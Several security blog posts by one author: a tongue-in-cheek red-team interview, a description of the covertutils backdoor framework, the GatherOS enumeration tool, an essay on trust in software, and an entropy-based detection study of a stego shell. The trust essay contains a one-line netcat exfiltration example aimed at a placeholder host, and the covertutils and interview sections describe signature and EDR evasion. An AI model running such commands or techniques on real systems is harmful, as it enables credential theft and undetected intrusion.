Category: secur…

Red Team Ops Psychology – an Act in 4 Parts

Disclaimers

  1. This Blog post is for fun. Do not self-diagnose!
  2. Do take it with a grain of salt.
  3. The technics mentioned here were relevant when I was a Red Team operator. Things might have changed by now!
  4. Non-technical people reading this (for any reason): skip the jargon, check the references! You could analyze any profession in a psychological tongue-in-cheek way too!

Setting: A Hypothetical Job Interview for the role of “Senior Red Teamer Operator”

Characters:

  • Interviewer
  • Interviewee (John)

Part 1 – The Addiction Part (kind of)

– So John, can you answer me this one question, what really happens when an implant is double-clicked in an assume-breach scenario?

– Of course! Can you hint me on what transport is the implant using to reach the C2 server? Is it DNS? HTTPS? anything more fancy?

– Let’s assume it’s HTTPS with Cert Pinning. Are you familiar with that?

– I sure am! So yeah, the implant when double-clicked starts a process in the host, it can be directly executing the malware code or plant it somewhere to be executed at a later time like COM hijacking on Windows. Eventually, maybe after self-decrypting its main components, the malicious code attempts to reach the C2 server. So, it most probably goes with DNS, resolving the C2 server’s IP address from a Domain Name embedded or calculated in its code. Then it starts a TLS handshake with the C2 server (or a reflector). The C2 Server provides a Server Hello TLS message attaching a x509 Certificate and the malware checks whether the Certificate matches with the “Pin”, a value which is embedded to the code and most of the time is a SHA2 hash. If all goes well, the rest of the TLS Handshake takes place and this is the point that the Red Team operator used to get a message like “Meterpreter session opened (session N)” but now they get something like “Host called home” or anything along these lines…

– That’s a brief but sufficient ans…

– I’m not done! This message is printed to the Red Team operator’s screen through some call which ends up to the drawing system of their GPU and the screen’s pixels change in a way to symbolize one of the phrases I just stated. The operator’s eyes then, perceive this change and the image goes directly to the Frontal Lobe of their brain for decoding. This is happening super fast! Keep in mind I’m skipping a lot of stuff here, like the retina’s decoding from light to electricomagnetic signals sent to the Optic Nerve and the flipped image trigonometry. I can explain these later if you wish, now…

– I think that’s way more than en…

– So yeah, the image is processed in the Visual Cortex of the brain, the words are, we could say, “parsed”, but I’m skipping some stuff here, and then are passed to Middle Temporal Gyrus (or MTG for short) of the Red Team operator’s brain that makes him realise what the phrases printed in the C2 server mean, and they mean that a shell just called home!

– John, we could skip to the next que…

– That’s actually the best part! Now that the operator realises that they got a shell, one thing happens before everything else related to Lateral Movement, checking if the host is Domain-joined and the rest. The operator’s neuroreceptors get a huge pinch of Dopamine in his midbrain, which effectively does two things: first sets the operator in a very good and motivated mood and second, with the help of Glutamate they take note on how exactly they got this shell, making them a better Red Team operator, hence making it more possible for them to feel that good again in the future. That might lead to a promotion leading to even more Dopamine! We could say, at this point, that the Red Team operator is a junky for shells! Isn’t it amazing?

– This was actually a very weird way to explain a connect-back! I have another question for you: How would you continue if you realized that the phishing campaign you sent didn’t go well?

Part 2 – The Conditioning Part

– Oh, what do you mean? Did we get any HTTP canary, did anyone even open the email? Did we get a shell and it was insta-killed?

– Let’s say you get no shells and none opened your emails. Radio silence kind of thing!

– Oh then, I’d check if the email pretext is good enough. It has to be urgent and formal just enough to push someone towards the wrong decision of clicking the malware. I could talk for hours on phychological violence of phishing campaigns and the general ethincs of the Red Teamer, anyway…

– Let’s assume that with the changed pretext the email gets opened but you’re not getting a shell?

– I’m really glad you are asking me this question! You know there was this guy called B.F Skinner, who has been the father of Behaviourism, the concept that we, as a species, are kind of animals that form our behaviour mainly through conditioning and our reward system! So this guy…

– John, could we please skip to the technical part now?

– Sure. So I’d get from the Information Gathering phase what kind of AV they’re currently using and try creating AV-bypasses for this specific AV by hand.

– And if you are getting a shell now but it dies on you in seconds?

– So, this Skinner guy made an experiment by putting rats and pigeons in a box. He used conditioning to make them learn to press a button in that box. They learned that by rewarding them with food every time they pushed that button. Really, not every time, and that’s exactly the catch! The animals got more conditioned to the button when he didn’t provide food in every button push, but just sometimes!

– John, can you please tell me why the shell dies? I find all these things really interesting but kind of irrelevant!

– The interview is for a Senior role, so I believed I had to explain full-stack. I’ll try to be more brief. My point is that the Red Team operator is getting kind of Skinnerbox’d, on learning how to land a working shell, by not getting it most of the time. And also, by waiting random amounts of time until they get the reward. So, if I had to fix that malware I’d finally need to write some code!

– Glad to hear that! What kind of code?

– C++ or C# most probably. The shells often die because of some Post Exploitation operation that is executed and is identified, traced and blocked by Endpoint Protection software on the host. So I’d need to get the same software in a Virtual Machine, run the same malware, do the same Post Exploitation actions and see where and how it gets killed. Then I’d try to either patch away the EDR’s DLLs from the process memory, as some of them work on userland, or change the order of the malware’s syscalls, as these are the ones that tend to be signature’d by EDRs.

– I see. Can you explain how you’d write the code.

– I guess I can! I’d run my IDE, most probably VSCode for these languages and do changes to the original malware. I’d use Git to keep all code changes tidy, maybe a branch per target, and then fail to compile a bunch of times. When the code compiles I’ll run the malware on the VM, do the actions and see if it gets killed. If it does I’d go back to square one, trying something else.

– That’s a bit generic but I get your idea.

– This continuing cycle of searching Windows API docs, coding, compiling, running and getting, or not getting a reward is the basis of it all. It is a Skinner box as well! I do something and I might get rewarded. This hooks me into trying it more and more, so I’ll eventually manage it! Monkeys could even author Shakespeare exactly this way!

– Your approach is really optimistic John. I like that. It all sounds so based, but in a really absurd way! So there is this question now: how would you get notified when you get a shell?

Part 3 – The Compulsive Part

– This brings me to this other topic! By now, having done so many things for this assessment, I’d totally be obsessed! It has to work, right? I mean, I wordsmith’d the pretext, modified the code, tested rigorously, launched the phishing campaign and all. So every minute I don’t get a connect-back must be painful by now!

– So, would you set up some Slack notification or something?

– There are plenty of ways! I can continously stare at my screen, waiting for the shell to come. But, as some persistence technics require reboot to work, we really have no clue how long it can take to get a shell, or if they’re going to work at all. So most C2s have notification systems, for Slack or Telegram messages on every new connect-back. I’d use one of those. I could also check the Payload Delivery server logs. I didn’t mention it, but we are totally keeping those! So, every some minutes I check my Slack or Telegram or the tail -f of the logs, as I might have missed something when I went to the freezer to get water, or when I went for a smoke.

– This is a lot of dedication! I like that!

– Probably you shouldn’t. Checking all the time is a part of the job that is not useful and is kind of addictive as well. Like checking socials or messages on your phone all the time. You could even say that is the compulsion part of an obsession. Because, Red Team operators more often than not get obsessed with landing in the target organization. It gets very personal. You could argue that it is passion, and sometimes it really is that, but I’d say it easily becomes an obsession. And compulsion follows obsession sooner or later! It can loosely be seen as an addiction too!

– Wait, you are saying that the Red Teamers have OCD?

– No! You can have Obsession-Compulsion cycles without having an OCD, just like you can have narcissistic traits without being a narcissist. The thing is that I believe these cycles make the professionals less effective, which is counter-intuitive, but I can explain.

– I don’t know if this an interview anymore.

– It really is a blog post, but let’s continue pretending for a moment – it’s gonna end soon!

– Ok, go ahead. If this way of working is ineffective, as you say, what is an effective one? To keep the interview format, what new ways would you bring to the Team in case you join?

Part 4 – The Cure for this Profession

– If I join the team I’d work in a very specific way. My way really comes from Buddh…

– I was really afraid we’d end up to something like this.

– It’s not a religious belief though. It is about not merging oneself with the outcome. Not valuing myself as a person from whether I managed to send a piercing phishing campaign or a well-baked payload. It might seem bad at first, but really relieves me from a lot of pressure I’d put on myself. Without this pressure and mental overhead I can really, calmly, hack them. My mind’s CPU can stop spending cycles on my self-worth and I use those cycles to better think of a good spear-phishing target or create a solid Malleable Profile.

– This is a very philosophical point of view Jo…

– Thank you, sir!

– I was saying that I appreciate it, but I’d like to ask if there is a more practical example of what value you could add to our team?

– Well, I speak Terraform fluently, as I like the preparation phase. For me, preparation is the best part of an assessment as the reward cycle hasn’t started yet and so the actions a Team takes are calm and measured. It is when the rewarding phase comes that Red Teamers lose their cool. They login from home, they do OpSec unsafe stuff, they run Powershell hoping to not get caught that one time. And that’s why they fail. These actions are reckless ways to get Dopamine. It’s their midbrain loosely overriding their Frontal Cortex that knows that Elastic SIEM has a bunch of rules that booby trap Powershell, and that DCSyncing from any Domain Admin user is easily detected.

– Thank you John for your time. We’ll send you an email later today on how we can proceed with the hiring process.

– Really? we just started… We are like 15 minutes in!

References

Addiction Neuroscience 101 – YouTube

The Neurobiology of Addiction Addiction 101 in Olson – YouTube

The Skinner Box – How Games Condition People to Play More – Extra Credits – YouTube

Reinventing the Wheel for the last time. The “covertutils” package.

 

The motivation

Those last months I came across several Github projects with RAT utilities, reverse shells, DNS shells, ICMP shells, anti-DLP mechanisms, covert channels and more. Researching code of other people gave me the ideas below:

Those things have to support at least an encryption scheme, some way of chunking and reassembling data, maybe compression, networking, error recovery. (To not mention working-hours operation-empire agent, certificate pinningmeterpreter and unit identification-pupyRAT).

And they all do! Their authors spent days trying to recreate the chunking for the AES Scheme, find a way to parse the Domain name from the exfiltrating DNS request, recalculate IP packet checksums and pack them back in place, etc…

And then it got me. A breeze of productivity. That crazy train of creation stopped just before my footnails. The door opened…

What about a framework that would handle all those by itself?

A framework that would be configurable enough to create everything from a TCP reverse shell, to a Pozzo & Lucky implementation.

A framework without even the most stable external dependencies, that uses only python build-ins

And all those without even thinking of encryption, message identification, channel password protections and that stuff we hate to code.

Then I started coding. Easter found me coding. Then Easter ended and I was still coding. Then I didn’t like my repo and deleted it altogether. I recreated it and did some more coding. Spent a day trying to support Python 3 and gave up after 10 hours of frustrated coding.

And finally it started working. The “covertutils” package was born. A proud python package! And here it is for your amusement:

https://github.com/operatorequals/covertutils

And here are the docs:

https://covertutils.readthedocs.io

Let’s get to it…

 

Basic Terminology of a backdoor

So let’s break down a common backdoor payload. In a backdoor we have mainly two sides. The one that is backdoored and the one that uses the backdoor.

The host that is backdoored typically runs a process that gives unauthorized access to something (typically OS shell). This process and the executable (binary or shellcode) that started it is the “Agent“.

The host that takes control of the backdoored machine typically does so using a program that interacts with the Agent in a specific way. This program is the “Handler” (from exploit/multi/handler anyone?)

Those two have to be completely compatible for the backdoor to work. Noticed how the Metasploit’s exploit/multi/handler asks for the payload that has been run to the remote host, just to know how to treat the incoming connection. Is it a reverse_tcp VNC? a stageless reverse_tcp_meterpreter?

Examining the similarities of those two (agents and handlers) helped me structure a python API, that is abstract, easy to learn, and configurable.

 

The covertutils API

All inner mechanics of the package end up in 2 major entities:

  • Handlers
    Which are abstract classes that model Backdoor Agent’s and Handler’s behavior (beaconing, silent execution, connect-back, etc).

    Attention passengers: The Handler classes are used to create both Agents and Handlers.

  • Orchestrators
    Which prepare the data that has to travel around. Encryption, chunking, steganography, are handled here.

With a proper combination of those two, a very-wide range of Backdoor Agents can be created. Everything from simple bind shells, to reverse HTTPS shells, and from ICMP shells to Pozzo & Lucky and other stego shells.

 

The data that is transferred is also modeled in three entities:

  • Messages
    Which are the exact things that an agent has to say to a handler and vice-versa.
  • Streams
    Arbitrary names, which are tags that inform the receiver for a specific meaning of the message. Think of them almost like meterpreter channels with the only difference that they are permanent.
  • Chunks
    Which are segmented data. They retain their Stream information though. When reassembled (using a Chunker instance) they return a (Stream, Message) tuple.

The Orchestrator

Orchestrators can be described as the “objects that decide about what is gonna fly through the channel“. They transform messages and streams to raw data chunks. Generally they operate like follows:

orchestrator.png

The chunks can then be decoded to the original message and stream by a compatible Orchestrator instance. They are designed to produce no duplicate output! Meaning that all bytes exported from this operation seem random to an observer (that hasn’t a compatible Orchestrator instance available). This feature is developed to avoid any kind of signature creation upon the created backdoors, when their data travel around networks…

The code that actually is needed for all this magic is the following:

>>> message = "find / -perm -4000 2>/dev/null"
>>> sorch = SimpleOrchestrator("Pa55w0rd!", streams = ['main'])
>>> chunks = sorch.readyMessage( message, 'main' )
>>> 
>>> for chunk in chunks :
...     print chunk.encode('hex')
... 
a3794050e26ad5935a1c
179083d79cad047be0a7
eb8bb3340b73ddc5eedb
af82b3a2a0f913a37a2f
3b0ddf0f365973dd4ae3
>>>

And to decode all this:

>>> sorch2 = SimpleOrchestrator("Pa55w0rd!", streams = ['main'], reverse = True)
>>> 
>>> for c in chunks :
...     stream, message = sorch2.depositChunk( c )
... 
>>> stream, message
('main', 'find / -perm -4000 2>/dev/null')
  • Note the reverse = True argument! It is used to create the compatible Orchestrator. Same objects are not compatible due to duplex OTP encryption channel.

 

The Handler

Handler‘s basic stuff is declared in an Abstract Base Class, called BaseHandler. There, 3 abstract functions are declared, to be implemented in every non-abstract subclass:

  • onMessage
  • onChunk
  • onNotRecognised

When data arrive to a Handler object, it uses the passed Orchestrator object (Handlers get initialized with an Orchestrator object) to try and translate it to a chunk. If it succeeds the onChunk(stream, message) method will be run. If the received data can’t be translated to a chunk then the onNotRecognised() will run.
Finally, and if the raw data is successfully translated, the Orchestrator will create the actual message when the last chunk of it is received. The onMessage(stream, message) method is run when a message is fully assembled.

The combined idea of a backdoor can be seen in the following image (fullscreen might be needed):

covertutilsbasicbackdoor.png

 

The Internals

How Streams are implemented

The Idea

Data needs to be tagged with a constant, for the handler to understand that it is meant to consume it. As a handler may receive data that is irrelevant, not sent from the agent, etc…

The problems in this idea are several. Bypassing them created the concept of the stream.

First of all, the constant has to be in a specific location in the data, for the handler to know where to search for it. That brings as to the second thing:

If a constant is located at a specific data offset, it defines a pattern. And a pattern can be identified. Then escalated to analysts. Then blacklisted. Then publicly reported and blocked by public anti-virus products.

So for the tagging idea to work well, we mustn’t use a constant. Yet the handler has to understand a pattern (that can’t be understood by analysts). Considering that both the Agent and Handler share a secret (for encryption), the solution is a Cycling Algorithm!

The StreamIdentifier Class

When sharing a secret, infinite secrets are shared. If the secret is pa55phra53 then we share SHA512(“pa55phra53“) too. And MD5(“pa55phra53“). And SHA512(SHA512(“pa55phra53“)). And MD5(SHA512(“pa55phra53“+”1”)). You get the idea.

So the StreamIdentifier uses this concept to create tags that are non-repetitive and non-guessable. It uses the shared secret as seed to generate a hash (the StandardCyclingAlgorithm is used by default, a homebrew, non-secure hasher) and returns the first few bytes as the tag.

When those bytes have to be recognized by a handler, the StreamIdentifier object of the handler will create the same hash, and do the comparison.

The catch is that when another data chunk has to be sent, the StreamIdentifier object will use the last created hash as seed to produce the new tag bytes. That makes the data-tag a variable value, as it is always produced from the previous tag used plus the secret.

A sequence of such tags is called a Stream.

Multiple Streams

Nothing stops the implementation from having multiple streams (in fact there is a probability pitfall, explained below…)! So instead of starting from “pa55phra53″ and generate a single sequence of, let’s say, 2 byte tags, we can start from “pa55phra531″, “pa55phra532”, “pa55phra533” … and create several such sequences (streams).

The StreamIdentifier will, not only identify that the data is consumable, but will also identify that a tag has been produced from “pa55phra531″, or “pa55phra533”. This can used to add context to the data. Say:

  • Everything produced from “pa55phra531 will be for Agent Operation Control (killswitch, mute, crypto rekeying, etc)
  • Everything produced from “pa55phra532 will be run on a OS shell
  • Everything produced from “pa55phra533 will be shellcode that has to be forked and run
  • Goes on and on…

Now the messages themselves do not need to follow a specific protocol, like:

shell:uname -a
asm:j
 X�Rh//shh/bin��̀
control:mute

they can be raw (saving bytes on the way), relying on the stream for delivering the context (when writing a RAT’y agent several features have to implemented, streams come in handy with this).

The streams are named with user-defined strings (e.g “shell”, “control”, etc) to help the developer.

 

The Pitfall

Tags have to be small. They shouldn’t eat to much of the bandwidth. They are like protocol headers in a way. Not too small to be guessable or randomly generated from a non-agent, not too big to be a small part of the raw data.

When implementing a tone of features using streams (say 8 features), using a 2-byte tag (it is the default) will create a small chance of collision. Specifically a 1/2341 chance (still more probable than finding a shiny pokemon in Pokemon Silver – 1/8192).
And to make things worse: this chance is not for the whole session, but per sent chunk (as tags are cycling for every chunk), so it is quite high!

The Solution

Well, maths got us down. For so many features, a new byte (3 byte tags) will minimize the chances tremendously. There is also an option to make the tags constant. This way the above chance counts for the whole session, making a collision quite hard.

 

Handler Types

At time of writing, there are several Handler Classes implemented. Each modelling a specific backdoor behavior.

  • BaseHandler
    This is the Base Class that exposes all abstract functions to the sub-class.
  • FunctionDictHandler
    Gets a (stream -> function) dict and for every message that arrives from stream x, the corresponding function is called with message as argument.
  • InterrogatingHandler
    This handler sends a constant message across to query for data. This is the way the classic reverse_http/s agents work. They periodically query the handler for commands, that are returned as responses. Couples with the ResponseOnlyHandler.
  • ResettableHandler
    This Handler accepts a constant value to reset all resettable components to initial state. The One Time Pad key, the stream seeds the chunker’s buffer, etc.
  • ResponseOnlyHandler
    This is the reverse of the InterrogatingHandler. It sits and waits for data. It sends data back only as responses to received data. Never Ad-Hoc.
  • StageableHandler
    This is a FunctionDictHandler that can be extended at runtime. It accepts serialized functions in special format from a dedicated stream, to add another tuple in the function-dict, extending functionality.

 

Orchestrators

The objects that handle the raw data to (stream, message) conversion are the Orchestrators.

They have some basic functionality of chunking, compression, stream tagging and encryption. They provide 2 methods, the readyMessage(message, stream) and the depositChunk(raw_data). The first one returns a list of data that are ready to be sent across (tagged, encrypted, etc), and the second one makes the Orchestrator try to consume data received and returns the (stream, message) tuple.

 

End of Part 1

The whole package includes several features that are not even mentioned in this article (Steganography, Data ManglingStegoInjector and DataTransformer classes-, etc), that while implemented, aren’t properly documented yet, so their internals may change.

They will be the subject of another post, along with a Pozzo & Lucky implementation using only coverutils and Raw Sockets.

 

I the mean time, there are some Example Programs for you to play around!

Feedback is always appreciated…

 

Information Gathering is not enough. Information storing and sharing is better. Meet GatherOS …

I ‘ve been absent for a while, switching jobs and analyzing personal goals couldn’t be postponed any longer. Now I am back to the grid! And I got a new tool too!

 

Why Gathering is a hell of a job…

Information about the target is what keeps the wheel spinning. More info, more attacks, more successful attacks, more shells, moar powah.

That applies perfectly for Vulnhub VMs and 3-4 hours CTFs, but the problem is obvious with assessments that require a team. The scalability isn’t exactly great when Information Gathering has to be done for a network and several hosts. Actually it ‘s a pain. If you have been there you know, if you haven’t, here are several examples:

- Hey, I started a minus A nmap for the slash 24
- Shit man, I am at 56 percent on the nmap.
- Ok, I control-c'd, what switches?
- Top 100, finished, come to see the results.
(Whole team leans towards a single monitor)
- OK OK, I GOT A SHELL (yelling)
- Great, what user? (yelling)
- wou wou data (www-data)
- What kernel?  (yelling)
- 3.8
- Distro?
- Ubuntu 14.04
- Check SUIDs!!!   (yelling)
- Hey buddy, stop yelling, I know what to do!
- I am not your buddy, pal
- I am not your pal, guy
- I am not your guy, friend
- I am not your...
...
- I uploaded the file!
- Good, what is the name?
- not *under* a *under* backdoor *dot* php (not_a_backdoor.php)
- Are you a moron? This is a Tomcat shit, why php?
- Who told me that?
- I told you before. (yelling)
- Oh, fuck you! You said that it 's Apache (yelling)
- Yes, it 's "Apache Tomcat" (yelling)
***Slap***

Generally Info-gathering with a team is a mess. Been there several times, yelled like this, got slapped twice, been to jail for ten long years, because I killed a guy who misinterpreted 1/* for */1 in a crontab file and then the whole team spent an hour on facebook as we missed to start our handler on time.

Tools have tried to bridge the gap. Most of them fail badly for inexperienced teams as they need an amount of seriousness to work. Dradis falls flat under this category. It is great but you have to learn to use it. Who has time for that shit? Life is short. People still use metasploit.

 

GatherOS: not the nasty shit you’re waiting for…

Two things are more essential than just gathering. They are sharing and storing. GatherOS handles them both neaty.

The Idea is simple. You got a Reverse/Bind Shell, SSH, physical access to a system (be it Linux or –for the love of god– Windows). There are some basic stuff you have to run on the shell to understand what kind of machine you semi-pwned.

If you like keyboard, you remember the commands (cat /etc/passwd, cat /etc/*release, crontab -l, etc) but you will miss at least one (uname -a).

If you once liked keyboard you have a script with nice and dandy output.
So you python -m SimpleHTTPServer 8080 the script and then you go for the download from the pwned machine:
wget: command not found.
OK, cool. You netcat to your machine and start typing the HTTP Request:

GET /scroipt.sh HTTP/1.1


404 Not Found

Mistyped the script name…

You whisper something on the classic “fuck” pentester’s dialect and open the script with gedit copy-pasting all the commands to the reverse shell. Hating yourself.

After half an hour a colleague asks you: “what was the MAC for the 172.16.47.128 ?“.
You have no idea, you are still copy-pasting…

 

What GatherOS does…

First things first. GatherOS resides here: https://github.com/operatorequals/gatheros
and has been the subject of about 2 rewrites. Also available with pip.
Just pip install gatheros and the commands will be in your PATH (like magic)!

Now the juicy stuff!

gatheros-exec

The heart of the package!

It’s a simple python module that gets a special formatted JSON file input containing OS commands, and runs them against a shell (be it reverse/bind/ssh/local). Then it stores the output in a JSON file.

 

gatheros-show

The reason GatherOS exists

This module consumes JSON files created by gatheros-exec and fires up a flask web application, nicely presenting the command outputs for everyone to see and admire!

 

A showcase!

$ gatheros-exec -o /tmp/$(uname -r).json local
[waiting less than a minute...]
$ ls -lh /tmp
Total 1-rw-r--r-- 1 unused unused 110K Feb 6 13:10 4.9.0-kali1-amd64.json

And done! GatherOS ran the default InfoGathering scenario (built-in) against the local machine. For SSH on port 1022 it would be:

$ gatheros-exec -o /tmp/$(uname -r).json ssh uname@localhost -p1022

 

Now that there is a GatherOS file we could present it with gatheros-show at port 8086 (default is 8085):

$ gatheros-show /tmp/4.9.0-kali1-amd64.json -p8086

Woah! A Firefox spawned with this:

This slideshow requires JavaScript.

Let’s see the MAC now!

gatheros_3

As you may have recognized the default Information Gathering Scenario is heavily based on the rebootuser’s Cheatsheet that I believe it is the complete Cheatsheet out there! I can’t, but thank this site as well as it’s references for providing so useful commands for eager privilege escalators!

A Windows Scenario will also be ready in a later release!

 

Storing the Info!

Just zip the JSON files for later use!
gatheros-show will always serve you whichever JSONs you feed it.

 

Why “Information Gathering scenarios” ?

Well, those JSONs aren’t just lists of grouped commands. They contain a whole logic on which commands should run in case some others fail to run, based on a dependency oriented model.
This aspect of GatherOS can be used to automatically launch local-root exploits and other goodies as well, and it will be explained in a later post, when some more development will have taken place!

Stay tuned, it ‘s gonna be huge!

 

 

Trust: a tale of Security, Philosophy, Reverse Engineering and Python

The role of Trust on InfoSec Incidents

Security boils down to be entirely about trust, if you come to think of it. Every information security incident could somehow be rephrased to include the word “Trust” in its reasons of happening. Just try anything:

  • SQL Injections all over the Web (and injection family exploits): “Mistrusted user input”.
  • Cross-Site Scripting: Mistrusting that a site will run on your browser only non-malicious code.
  • Superfish Incident: Add of an untrusted SSL Certificate in the Trust List of all computers from Lenovo.
  • Stuxnet:
    • Enough trust to a USB removable medium for it to be plugged in an “Air-gapped” computer.
    • Trust of the engineers on what they see (the backdoored health monitoring indication of the centrifuges) rather than what they hear (the centrifuges screaming as they were over-spinning).
  • Heartbleed, Shellshock: Trust on Open Source code auditing (as those were glaring bugs – and not the only ones)
  • Snowden’s leaks (it is a Security Incident for the 3-letter guys): Too much Trust on an employee (even a high positioned one).
  • … add your favorite Incident here …

And I mean all Security, Crypto included…

Encryption algorithms are trusted to be working. I mean there are Proofs on that they work (work means that decryption undoes encryption) but there aren’t proofs on that there can be no ways to deduce easily the key (easily meaning “easier than brute force”). There are also “Backdoored Ciphers” (with DES flirting closely with this speculation). Do we Trust these? Of, course not! Did we trust them before speculating or prooving they were backdoored? Sure, I mean, why not (DES was the fuckin’ Encryption Standard, as its name implies).

In the same manner: Today we trust AES. Ιf tomorrow we find out that there is a way to (instantly) decrypt every AES communication, we won’t trust it anymore. Meanwhile someone is reading us… And we have ourselves another trust-based security incident.

 

Why Trust anyway?

As  Ernst Alexander Rauter put it, in his famous “Creating subject people – How an opinion forms in the mind” (a book that isn’t sold on amazon in english – german edition),: “Trust is something that always upflows, from low power people to higher power people“. This is a very rough translation of the fact that people tend to trust things they don’t manipulate. Also people never want to feel scammed, so in defense of the exploration of an unwanted truth they prefer to just “trust“.

That’s why we trust crypto, and we trust our Operating System or our car. Because we can’t be 100% sure about their actions. So we politely assume that everything works as intended. Just to be gentle with ourselves.

 

The Trust Game in Computers

One of UNIX’s fathers, Ken Thompson, (apart from being the reason you see a.out files when compiling without arguments), implied a groundbreaking question in 1984 (a really controversial date!): “Do you trust your compiler? Do you trust your compiler so much that you are sure that when you compile the /bin/login binary, it won’t plant a backdoor in it?“. I am talking about the well-known “Ken Thompson Hack” documented in his awesome paper “Reflections on Trusting Trust“.

The truth is we trust our default gcc installation, and –seriously– never questioned it. It seems far-fetched to believe that there is such possibility. The reason for that is because we have to be reverse engineers to actually Check It. And this isn’t the case for the most of us…

 

 

Asking for and gaining Trust

My case study subject

Do you know about the kind of application called “Password Manager“? Applications like  “KeePass” that keep all your passwords in one place. They save them to disk in encrypted form and copy them to your clipboard whenever you need them, while you protect them all with a single “Master Password/Decryption Key“.

Asking for Trust

Those applications need a whole lot of trust from the users that use them. They could easily exfiltrate all your passwords to an unknown location without you noticing. In reality the only password worth exfiltrating is your email account’s password. If someone accesses your email’s password, the “Forgot my Password” button could do the rest of the work in all websites you’ve registered…

Gaining Trust

So how an application so crucial to your privacy gains Trust?

Well most of the time it doesn’t. Most of the time people assume that the binaries they download will do what they were described they do. Even their DLLs. But that’s because most people can’t actually check what an executable is doing. They trust because of their inability to know.

We need to go deeper

For an infosec researcher trust is gained. I trust that nmap works the way it works as I have wireshark‘d it a whole lot of times. I am sure https meterpreter is stealthy enough in many cases as I had it bypass my own firewall first. And I trust that keepass doesn’t make remote connections because of this:

n0p_sl3d@hostname:~$ objdump -D $(which keepassx) | grep socket
n0p_sl3d@hostname:~$

while:

n0p_sl3d@hostname:~$ objdump -D $(which netcat) | grep socket | wc -l
874

If you are used to C language Socket Programming you know that the way to open a network connection is through the socket function. And, in the untrimmed, non-statically compiled version of keepassx I use, there are no such calls in the binary. That’s definitely a good sign! Some trust is gained now!

But if you think of it, a call like:

system("echo %s | nc bad-domain.ddns.net 8080" % email_password);

doesn’t create a socket but would still exfiltrate my pass. That’s why keepass is Open Source. Just grep the code for similar looking calls, if you find any, keepass is a nasty traitor…

Sure that’s a lot of work but it is also your call how far you can go. Depending on how much you value your passwords. It’s a trade-of.

 

 For the Unconvinced

If keepass has a backdoor (while open-source) it has to be hidden in a smart way. And while you don’t know the author, you can’t be sure about his intentions. The only way to trust some things is to be 100% sure about how they operate. That brings us to the last part of this post:

 

100% Trust

The person highest in the Trust Scale, we maintain inside us, is ourselves. We ultimately believe in our eyes and hands. The Password Manager we will trust the most is the one that we will write ourselves or the one we carefully went through its code, and understood it line by line

This tends to be impossible for most Open Source projects, sometimes even for their contributors. Trust in Open Source projects suggests smaller, more comprehensive projects, in a Programming Language for humans, to be achieved in the desired 100% percent…

 

Python to the rescue!

There are like 15 actively used Programming Languages nowadays, but the ones they maintain a tiny chance of being understood in a glimpse of an eye are the english-like scripting ones (that means Python only).

So the goal was to create a Proof of Concept Python Password Manager that wouldn’t exceed 50 lines of code(single file) and will provide reasonable security, while being as easy to understand as possible maintaining the basic features. That way people would use it and be absolutely sure about what it does. The goal was to convince the unconvinced that this tool works as intended and only as intended. And here it is!

TinyPwdMan

TinyPwdMan‘s code can be found here: https://github.com/operatorequals/TinyPwdMan/blob/master/TinyPwdMan.py

The Source Code fits in a single page without scrolling! It uses master password, XOR encryption and can even copy to clipboard. It’s initial size is 38 lines.

It isn’t designed for real use (while it works flawlessly), but for a demonstration on what can really be absolutely trusted, and what is trusted because of its convenience. Because let me tell you: keepass beats that little Password Manager out of the water when it comes to convenience.

Either way, your passwords are as unsafe as the weakest link of your chain in which you use them. From mind, to keyboard, to OS, to application, to network, to the other side.

And the weakest link is not the encryption, nor the possibility of an exfiltration that would cost a Password Manager Author his reputation (once discovered), and probably his career and life.

The weakest link is you!

 

security
Source

 

 

 

Pozzo & Lucky Busted. The Tales of a Mathematician / SOC analyst… (Part-3)

Before we even begin:

pip install entropy     # contains a C implementation of the 
                        # Shannon Entropy algorithm for byte strings
pip install fitter      # Compares datasets with known distributions
pip install pandas      # and returns similarity ratios (fitter requirement)

pip install matplotlib  # Makes python laugh in Matlab's face...

 

Ready,

"Requirement already satisfied (use --upgrade to upgrade): [...]"(2016, pip)

Windows 7 Ultimate 64 bit VM installed. Firewall is Down –I repeatFirewall is Down.

Get Set,

This Article/Post is the last of a series about steganography in IP/TCP headers and a Remote Code Execution tool that uses this technique. It will demonstrate ways of busting traffic created from this tool and maybe other similarly functioning tools. The whole background story can (and should) be read at:

Go…

 

The entropy discussion

The whole concept with randomness in Pozzo & Lucky was to trick Security Devices on thinking that the “dirty” packets were OS (or nmap) created packets and ultimately to avoid any kind of cryptanalysis. But this didn’t work so well (at least for all used TCP/IP fields).

The Good News

The good news is that the IP identification field is effectively random in OS SYN packets.

Specifically my scripts got me something like this:

Entropy for /dev/random is 0.836880 for 152 bytes
Entropy for Pozzo packets ID field is 0.836477 for 152 bytes
Entropy for Lucky packets ID field is 0.849231 for 152 bytes


Entropy for /dev/random is 0.922406 for 304 bytes
Entropy for Pozzo packets SEQ field is 0.919504 for 304 bytes
Entropy for Lucky packets SEQ field is 0.906196 for 304 bytes

for the Pozzo & Lucky command:

head /etc/shadow

To get root user’s password hash and 9 more lines. The entropy is pretty damn high for a data transfer, which means that the Rotating Encryption Scheme (explained in part-2) is working flawlessly!

The -not so- Good News

But what about a real nmap on a Windows machine (most common case)?

nmap 192.168.56.101

got us this…

Entropy for /dev/random is 0.987001 for 1982 bytes
Entropy for SYN packets ID field is 0.989606 for 2150 bytes
Entropy for RST packets ID field is 0.755026 for 1982 bytes


Entropy for /dev/random is 0.994242 for 3964 bytes
Entropy for SYN packets SEQ field is 0.272816 for 4300 bytes
Entropy for RST packets SEQ field is 0.000000 for 3964 bytes

That’s a ZERO there. Those damn RSTs always have a Sequence Number of a literal 0 in port scans. Specifically (RFC 793, page 65):

    If the state is CLOSED [...] then
      [...]  The acknowledgment and sequence field values are selected
      to make the reset sequence acceptable to the TCP that sent
      the offending segment.

      If the ACK bit is off, sequence number zero is used,   # This is a 
        <SEQ=0><ACK=SEG.SEQ+SEG.LEN><CTL=RST,ACK>            # port scan reply

      If the ACK bit is on,
        <SEQ=SEG.ACK><CTL=RST>

This sent me flying. I don’t know how I ignored it the first time I read the RFC Bible. The impact of this is simply: No Stego in Sequence Field of packets sent from the Lucky side. And that means responses will have a bandwidth of 1 byte (+1 for the opcode) coming from the IP Identification Field – not feasible.

Blind Remote Code Execution should still work as intended though

Generally the SYN packets from Pozzo seem to blend in well with the OS packets, as the OS is using randomness in the ID field. (The nmap command -without flags- doesn’t use spoofed packets, it uses the connect() System Call from the OS API. That’s why it doesn’t need root too).

A histogram equals a thousand words after all:

figure_1
Remember, the Possible values are 0-65535(2^16)

The RST packets though do not blend so very well…

 

This slideshow requires JavaScript.

